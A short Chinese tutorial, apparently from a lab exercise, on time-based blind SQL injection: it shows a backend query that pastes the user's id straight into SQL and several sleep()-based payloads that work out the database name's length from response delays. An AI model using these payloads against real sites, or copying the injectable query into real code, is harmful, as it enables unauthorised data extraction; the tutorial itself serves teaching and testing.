sql时间型盲注:

求数据库长度:

后台代码:
select id, username,password from users where id = '$id' limit 0,1;

求数据库长度:
输入id:1' and if(length(database())>10,sleep(0),sleep(5)) %23  错误,反应时间长(5s);
select id, username,password from users where id = '1' and if(length(database())>10,sleep(0),sleep(5)) %23' limit 0,1;
等同:
输入id:1' and sleep(if(length(database())>10,0,5)) %23  错误,反应时间长(5s);

输入id:1' and sleep(if(length(database())<10,0,5)) %23  正确,反应时间长(0s);

输入id:1' and sleep(if(length(database())>6,0,5)) %23  正确,反应时间长(0s);

输入id:1' and sleep(if(length(database())=8,0,5)) %23  正确,反应时间长(0s);

sql时间型盲注:_第1张图片

 长箭头是数据库名长度>10时的代码,>10后的0是数据库名长度>10正确时的反应时间,5是数据库名长度>10错误时的反应时间;短箭头是数据库名长度>10时所反应的时间长度。此图片的反应时间是5s,因此>10是错误的。

sql时间型盲注:_第2张图片

 长箭头是数据库名长度=8时的代码,=8后的0是数据库名长度=8正确时的反应时间,5是数据库名长度=8错误时的反应时间;短箭头是数据库名长度>10时所反应的时间长度。此图片的反应时间是0s,因此=8是正确的。

sql时间型盲注就是通过这种方法对时间范围的缩小然后找到结果。

你可能感兴趣的:(sql时间型盲注:)